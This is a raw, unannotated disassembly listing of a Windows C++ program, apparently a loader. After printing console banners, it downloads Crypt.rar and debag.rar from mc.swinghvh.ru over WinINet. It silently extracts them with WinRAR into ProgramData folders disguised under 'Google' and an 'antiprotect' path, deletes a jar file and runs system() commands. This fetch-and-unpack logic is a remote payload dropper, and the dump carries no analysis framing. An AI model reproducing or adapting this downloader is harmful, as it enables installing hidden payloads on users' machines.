call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035c00]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035d50]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._______________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x2dc8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x2df8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
lea rcx, [rbp + 0x2e28]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140037120]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.C:ProgramDataGooglelaunchCrypt.rar
lea rcx, [rbp + 0xb08]
call fcn.140011500
lea rcx, [rbp + 0xb08]
call fcn.140011131
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.http:__mc.swinghvh.ru_Crypt.rar
xor ecx, ecx
call fcn.140011299
mov dword [rbp + 0xb44], eax
lea rcx, str._C:Program_FilesWinRARWinRAR.exe__x__O__IBCK_C:ProgramDataGooglelaunchCrypt.rar_C:ProgramDataGooglejdkconf_security_antiprotect
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [rbp + 0xb08]
call fcn.140011212
lea rdx, [rbp + 0x998]
mov rcx, qword [rbp + 0x978]
call fcn.140027720
test eax, eax
jne 0x1400246a1
lea rdx, [0x140035a25]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
jmp 0x14002491d
mov edx, 1
lea rcx, [rbp + 0x2e58]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [0x140035f04]
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.___________________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._____________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035c00]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035d50]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._______________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x2e88]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x2eb8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
lea rcx, [rbp + 0x2ee8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140037250]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.C:ProgramDataGooglelaunchdebag.rar
lea rcx, [rbp + 0xb68]
call fcn.140011500
lea rcx, [rbp + 0xb68]
call fcn.140011131
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.http:__mc.swinghvh.ru_debag.rar
xor ecx, ecx
call fcn.140011299
mov dword [rbp + 0xba4], eax
lea rcx, str._C:Program_FilesWinRARWinRAR.exe__x__O__IBCK_C:ProgramDataGooglelaunchdebag.rar_C:ProgramDataGooglelaunch
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [rbp + 0xb68]
call fcn.140011212
lea rdx, [rbp + 0x5d8]
lea rcx, [rbp + 0x788]
call fcn.140011663
movzx eax, al
test eax, eax
je 0x140024e97
mov edx, 1
lea rcx, [rbp + 0x2f18]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [0x140035f04]
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.___________________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._____________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035c00]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035d50]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._______________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x2f48]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x2f78]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea r8, [rbp + 0x5d8]
lea rdx, [0x140037380]
lea rcx, [rbp + 0x2fa8]
call fcn.14001107d
mov qword [rbp + 0x3e78], rax
mov rax, qword [rbp + 0x3e78]
mov qword [rbp + 0x3e80], rax
mov edx, 1
lea rcx, [rbp + 0x2fe8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
mov rdx, qword [rbp + 0x3e80]
mov rcx, rax
call fcn.140011a05
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x2fa8]
call fcn.140011212
lea rcx, str.C:ProgramDataGooglejdkconf_security_antiprotectCrypt.jar
call qword [sym.imp.ucrtbased.dll_remove]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.My_Agent
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp + 0xbc8], rax
cmp qword [rbp + 0xbc8], 0
jne 0x140024d0c
lea rdx, [0x140037410]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x3014], 1
lea rcx, [rbp + 0x788]
call fcn.140011212
nop
lea rcx, [rbp + 0x660]
call fcn.1400111c7
nop
lea rcx, [rbp + 0x618]
call fcn.140011212
nop
lea rcx, [rbp + 0x5d8]
call fcn.140011212
nop
lea rcx, [rbp + 0x598]
call fcn.140011212
nop
lea rcx, [rbp + 0x4b8]
call fcn.140011212
nop
lea rcx, [rbp + 0x478]
call fcn.140011ad2
nop
lea rcx, [rbp + 0x418]
call fcn.140011212
nop
lea rcx, [rbp + 0x3d8]
call fcn.140011212
nop
lea rcx, [rbp + 0x398]
call fcn.140011212
nop
lea rcx, [rbp + 0x330]
call fcn.14001ad20
nop
lea rcx, [rbp + 0x2e8]
call fcn.140011212
nop
lea rcx, [rbp + 0x280]
call fcn.14001ad20
nop
lea rcx, [rbp + 0x238]
call fcn.140011212
nop
lea rcx, [rbp + 0x1d0]
call fcn.14001ad20
nop
lea rcx, [rbp + 0x188]
call fcn.140011212
nop
lea rcx, [rbp + 0x120]
call fcn.14001ad20
nop
lea rcx, [rbp + 0xd8]
call fcn.140011212
nop
lea rcx, [rbp + 0x70]
call fcn.14001ad20
nop
lea rcx, [rbp + 0x28]
call fcn.140011212
mov eax, dword [rbp + 0x3014]
jmp 0x14002670a
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x84000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__mc.swinghvh.ru_Crypt.rar
mov rcx, qword [rbp + 0xbc8]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rbp + 0xbe8], rax
cmp qword [rbp + 0xbe8], 0
jne 0x140024d78
lea rdx, [0x140037430]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 0xbc8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, 0x108
lea rcx, [rbp + 0xc10]
call fcn.140011474
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, str.C:ProgramDataGooglelaunchCrypt.rar
lea rcx, [rbp + 0xc10]
call fcn.14001145b
nop
lea r9, [rbp + 0x1d54]
mov r8d, 0x1000
lea rdx, [rbp + 0xd40]
mov rcx, qword [rbp + 0xbe8]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140024dfe
cmp dword [rbp + 0x1d54], 0
jbe 0x140024dfe
mov eax, dword [rbp + 0x1d54]
mov r8d, eax
lea rdx, [rbp + 0xd40]
lea rcx, [rbp + 0xc10]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140024db1
lea rcx, [rbp + 0xc10]
call fcn.1400115c8
mov rcx, qword [rbp + 0xbe8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0xbc8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, str._C:Program_FilesWinRARWinRAR.exe__x__O__IBCK_C:ProgramDataGooglelaunchCrypt.rar_C:ProgramDataGooglejdkconf_security_antiprotect
call qword [sym.imp.ucrtbased.dll_system]
mov edx, 0x108
lea rcx, [rbp + 0x1d80]
call fcn.140011474
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, [rbp + 0x618]
lea rcx, [rbp + 0x1d80]
call fcn.140011b8b
nop
lea rdx, [rbp + 0x5d8]
lea rcx, [rbp + 0x1d80]
call fcn.140011a05
nop
lea rcx, [rbp + 0x1d80]
call fcn.1400112d5
nop
lea rcx, [rbp + 0xc10]
call fcn.1400112d5
lea rcx, [0x140035f04]
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.___________________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._____________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035c00]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035d50]
